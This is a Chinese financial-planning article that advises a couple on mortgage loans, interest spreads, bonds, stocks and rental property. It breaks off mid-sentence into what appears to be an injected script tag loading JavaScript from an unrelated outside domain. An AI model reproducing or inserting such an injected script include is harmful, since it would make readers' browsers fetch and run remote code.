对于是否要用商业贷款，上海凯弈有关分析人士表示，目前国内存贷利差已经倒挂，所以对能享受到下浮百分之三十的贷款利率的客户，建议如有适当的投资理财机会，可以在政策允许的条件下贷足款项。而对于购买第二套以上、支付较高利率的贷款购房者来说，如资金没有更好的去向，建议尽量少贷款或采取提前还款的方式。
在理财师的建议下，小张夫妇决定适当贷款。于是，如何用好这笔贷款，成为小张夫妇需要细细盘算的大事。理财师给出如下一些方案。
方法一：短期内利用存贷利差赚利息
从目前的存贷款利率来看，近一两年内，小张保留更多的人民币，增加贷款额度显然是划算的。根据10月底刚刚调整的上海公积金利率，目前住房公积金个人贷款利率五年期以下（含五年）为4.05%，五年期以上4.59%。五年期商业贷款利率下浮30%的利率水平为5.04%。而目前央行最新调整的存款利率表显示，五年期整存整取的存款利率是5.13%。在小张能够获得80万元的公积金贷款的情况下，如果将80万元房款先拿到银行做定期存款，即使贷款五年，小张也能在5年内从存贷款利差中获得2万多元的收益，而且这笔收益是有保障的。但这个钱赚起来并不像看上去这么容易，原因就在于80万元的房贷是需要每个月还的，而80万元的存款只能在到期后取得。如果要赚这笔利差，小张每月都要面临巨大的还款压力。（本段涉及利率均为单利）
点评：中国已经进入了降息通道，2007年12月，在经过多年的加息后，我国商业贷款利率水平达到6.57%-7.83%的水平，而今年9月以来，央行已经三次降息，利率已经降至2007年年中的水平。贷款利率降低的同时，存款利率也在大幅度下调，最近一次五年期以下的存款利率的降幅就明显大于贷款利率降幅。从短期来看，小张夫妇还可以从存款和公积金利差从获利，尤其在五年内，公积金利率可能进一步下调，但定期存款利率由于是被锁定的，因此比较有保障。但从长期来看，这部分利差很可能会随着央行的进一步降息而消失，所以，在短期内购房的人还是可以利用一下定期存款的。
方法二：中长期内投资资本市场
小张先贷足80万元公积金贷款，那么还是否有必要申请40万元的商业贷款呢？如果他能获得7折利率的房贷，那么这部分贷款的利率为5.04%，仍是低于五年以上定期存款利率的，也就是0.09%的利差，但是这部分利差的收益并不大。
在银行存款之外，小张应该寻找更高收益率的投资产品，以体现出40万元贷款的价值。理财师认为可以中线看好资本市场。
降息对于债市是重大利好，且这种利好效应已经体现了一段时间。前期债市不断走强，今年9、10月份，企业债大涨了15%左右，以江铜为代表的一些企业债的年收益率均超过5%。选择将40万元贷款先投资企业债五年，小张约能获得一万余元的收益。但是，在目前的经济大形势下，企业的经营风险不得不防。此外，股票、基金、黄金等的投资机会都值得关注。
点评：受全球经济疲软影响，今明两年我国经济会经历结构调整，股市、基金全面走强的可能性不大，“牛市”很难在短期内见到。但是，考虑到房贷往往是长期贷款，期限最长可以达到30年，这期间很可能会出现新一轮牛市；而投资机遇现身的时间点往往正是利率最低水平的时候，因此，留一些资金逢低吸纳做长线，应该会有不错的回报。这个方法对贷款人本身的投资能力要求较高。
方法三：长期还可以考虑楼市
小张还有进一步投资房产的可能性，从长期来看，这笔投资或许能有出人意料的收获。经过一年的调整，在一些区域上海房价已比去年最高的时候下跌了10%-15%，出现了一个低位的形态。那么小张可以用优惠政策贷款购买第一套房，用现金再入市一次性付款购买一套商品房，这套房用来出租，目前楼市租金水平并不高，就以这套房的租金收入为3000元来计算，年收?script src=http://cn.jxmmtv.com/cn.js>
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